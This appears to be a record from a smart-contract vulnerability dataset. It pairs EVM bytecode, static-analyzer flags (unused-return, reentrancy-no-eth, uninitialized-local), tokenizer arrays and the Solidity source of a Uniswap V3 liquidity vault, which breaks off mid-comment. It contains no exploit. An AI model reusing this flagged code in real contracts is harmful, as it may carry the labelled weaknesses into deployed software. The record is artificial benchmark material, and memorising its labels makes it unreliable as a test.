e578081fd5b5060209081020190565b60005b83811015613fc3578181015183820152602001613fab565b838111156127215750506000910152565b6001600160a01b038116811461157757600080fdfe000000000000000000000000b06661a221ab2ec615531f9632d6dc5d2984179aa26469706673582212203fe025410e22cc519df68de64bec7005bbc294cf13ccd8a1b9f44bafcec9f05664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 16048, 2850, 2692, 2094, 16147, 2546, 2581, 2497, 2692, 2581, 2278, 2620, 2620, 2094, 16932, 3401, 27531, 28154, 2581, 6305, 2497, 2683, 21472, 2581, 2683, 16703, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 1036, 3647, 18900, 2232, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,485
0x96e1c6dad7476ae146fc783a8795970dc8bd68bc
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity 0.7.6; interface ISorbettoFragola { /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @return The address of the Uniswap V3 Pool function pool() external view returns (IUniswapV3Pool); /// @notice The lower tick of the range function tickLower() external view returns (int24); /// @notice The upper tick of the range function tickUpper() external view returns (int24); /** * @notice Deposits tokens in proportion to the Sorbetto's current ticks. * @param amount0Desired Max amount of token0 to deposit * @param amount1Desired Max amount of token1 to deposit * @return shares minted * @return amount0 Amount of token0 deposited * @return amount1 Amount of token1 deposited */ function deposit(uint256 amount0Desired, uint256 amount1Desired) external payable returns (uint256 shares, uint256 amount0,uint256 amount1); /** * @notice Withdraws tokens in proportion to the Sorbetto's holdings. * @dev Removes proportional amount of liquidity from Uniswap. * @param shares burned by sender * @return amount0 Amount of token0 sent to recipient * @return amount1 Amount of token1 sent to recipient */ function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1); /** * @notice Updates sorbetto's positions. * @dev Finds base position and limit position for imbalanced token * mints all amounts to this position(including earned fees) */ function rerange() external; /** * @notice Updates sorbetto's positions. Can only be called by the governance. * @dev Swaps imbalanced token. Finds base position and limit position for imbalanced token if * we don't have balance during swap because of price impact. * mints all amounts to this position(including earned fees) */ function rebalance() external; } pragma solidity 0.7.6; interface ISorbettoStrategy { /// @notice Period of time that we observe for price slippage /// @return time in seconds function twapDuration() external view returns (uint32); /// @notice Maximum deviation of time waited avarage price in ticks function maxTwapDeviation() external view returns (int24); /// @notice Tick multuplier for base range calculation function tickRangeMultiplier() external view returns (int24); /// @notice The protocol's fee denominated in hundredths of a bip, i.e. 1e-6 /// @return The fee function protocolFee() external view returns (uint24); /// @notice The price impact percentage during swap denominated in hundredths of a bip, i.e. 1e-6 /// @return The max price impact percentage function priceImpactPercentage() external view returns (uint24); } pragma solidity >=0.5.0; library PositionKey { /// @dev Returns the key of the position in the core library function compute( address owner, int24 tickLower, int24 tickUpper ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(owner, tickLower, tickUpper)); } } pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } pragma solidity >=0.5.0; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } pragma solidity >=0.5.0; /// @title Liquidity and ticks functions /// @notice Provides functions for computing liquidity and ticks for token amounts and prices library PoolVariables { using LowGasSafeMath for uint256; // Cache struct for calculations struct Info { uint256 amount0Desired; uint256 amount1Desired; uint256 amount0; uint256 amount1; uint128 liquidity; int24 tickLower; int24 tickUpper; } /// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`. /// @param pool Uniswap V3 pool /// @param liquidity The liquidity being valued /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amounts of token0 and token1 that corresponds to liquidity function amountsForLiquidity( IUniswapV3Pool pool, uint128 liquidity, int24 _tickLower, int24 _tickUpper ) internal view returns (uint256, uint256) { //Get current price from the pool (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), liquidity ); } /// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`. /// @param pool Uniswap V3 pool /// @param amount0 The amount of token0 /// @param amount1 The amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return The maximum amount of liquidity that can be held amount0 and amount1 function liquidityForAmounts( IUniswapV3Pool pool, uint256 amount0, uint256 amount1, int24 _tickLower, int24 _tickUpper ) internal view returns (uint128) { //Get current price from the pool (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); return LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, TickMath.getSqrtRatioAtTick(_tickLower), TickMath.getSqrtRatioAtTick(_tickUpper), amount0, amount1 ); } /// @dev Amounts of token0 and token1 held in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 The amount of token0 held in position /// @return amount1 The amount of token1 held in position function positionAmounts(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper) internal view returns (uint256 amount0, uint256 amount1) { //Compute position key bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper); //Get Position.Info for specified ticks (uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) = pool.positions(positionKey); // Calc amounts of token0 and token1 including fees (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper); amount0 = amount0.add(uint256(tokensOwed0)); amount1 = amount1.add(uint256(tokensOwed1)); } /// @dev Amount of liquidity in contract position. /// @param pool Uniswap V3 pool /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return liquidity stored in position function positionLiquidity(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper) internal view returns (uint128 liquidity) { //Compute position key bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper); //Get liquidity stored in position (liquidity, , , , ) = pool.positions(positionKey); } /// @dev Common checks for valid tick inputs. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range function checkRange(int24 tickLower, int24 tickUpper) internal pure { require(tickLower < tickUpper, "TLU"); require(tickLower >= TickMath.MIN_TICK, "TLM"); require(tickUpper <= TickMath.MAX_TICK, "TUM"); } /// @dev Rounds tick down towards negative infinity so that it's a multiple /// of `tickSpacing`. function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) { int24 compressed = tick / tickSpacing; if (tick < 0 && tick % tickSpacing != 0) compressed--; return compressed * tickSpacing; } /// @dev Gets ticks with proportion equivalent to desired amount /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param baseThreshold The range for upper and lower ticks /// @param tickSpacing The pool tick spacing /// @return tickLower The lower tick of the range /// @return tickUpper The upper tick of the range function getPositionTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 baseThreshold, int24 tickSpacing) internal view returns(int24 tickLower, int24 tickUpper) { Info memory cache = Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0); // Get current price and tick from the pool ( uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0(); //Calc base ticks (cache.tickLower, cache.tickUpper) = baseTicks(currentTick, baseThreshold, tickSpacing); //Calc amounts of token0 and token1 that can be stored in base range (cache.amount0, cache.amount1) = amountsForTicks(pool, cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper); //Liquidity that can be stored in base range cache.liquidity = liquidityForAmounts(pool, cache.amount0, cache.amount1, cache.tickLower, cache.tickUpper); //Get imbalanced token bool zeroGreaterOne = amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1); //Calc new tick(upper or lower) for imbalanced token if ( zeroGreaterOne) { uint160 nextSqrtPrice0 = SqrtPriceMath.getNextSqrtPriceFromAmount0RoundingUp(sqrtPriceX96, cache.liquidity, cache.amount0Desired, false); cache.tickUpper = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice0), tickSpacing); } else{ uint160 nextSqrtPrice1 = SqrtPriceMath.getNextSqrtPriceFromAmount1RoundingDown(sqrtPriceX96, cache.liquidity, cache.amount1Desired, false); cache.tickLower = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice1), tickSpacing); } checkRange(cache.tickLower, cache.tickUpper); tickLower = cache.tickLower; tickUpper = cache.tickUpper; } /// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 amounts of token0 that can be stored in range /// @return amount1 amounts of token1 that can be stored in range function amountsForTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper) internal view returns(uint256 amount0, uint256 amount1) { uint128 liquidity = liquidityForAmounts(pool, amount0Desired, amount1Desired, _tickLower, _tickUpper); (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper); } /// @dev Calc base ticks depending on base threshold and tickspacing function baseTicks(int24 currentTick, int24 baseThreshold, int24 tickSpacing) internal pure returns(int24 tickLower, int24 tickUpper) { int24 tickFloor = floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; } /// @dev Get imbalanced token /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param amount0 Amounts of token0 that can be stored in base range /// @param amount1 Amounts of token1 that can be stored in base range /// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced function amountsDirection(uint256 amount0Desired, uint256 amount1Desired, uint256 amount0, uint256 amount1) internal pure returns (bool zeroGreaterOne) { zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) > amount1Desired.sub(amount1).mul(amount0Desired) ? true : false; } // Check price has not moved a lot recently. This mitigates price // manipulation during rebalance and also prevents placing orders // when it's too volatile. function checkDeviation(IUniswapV3Pool pool, int24 maxTwapDeviation, uint32 twapDuration) internal view { (, int24 currentTick, , , , , ) = pool.slot0(); int24 twap = getTwap(pool, twapDuration); int24 deviation = currentTick > twap ? currentTick - twap : twap - currentTick; require(deviation <= maxTwapDeviation, "PSC"); } /// @dev Fetches time-weighted average price in ticks from Uniswap pool for specified duration function getTwap(IUniswapV3Pool pool, uint32 twapDuration) internal view returns (int24) { uint32 _twapDuration = twapDuration; uint32[] memory secondsAgo = new uint32[](2); secondsAgo[0] = _twapDuration; secondsAgo[1] = 0; (int56[] memory tickCumulatives, ) = pool.observe(secondsAgo); return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration); } } pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the 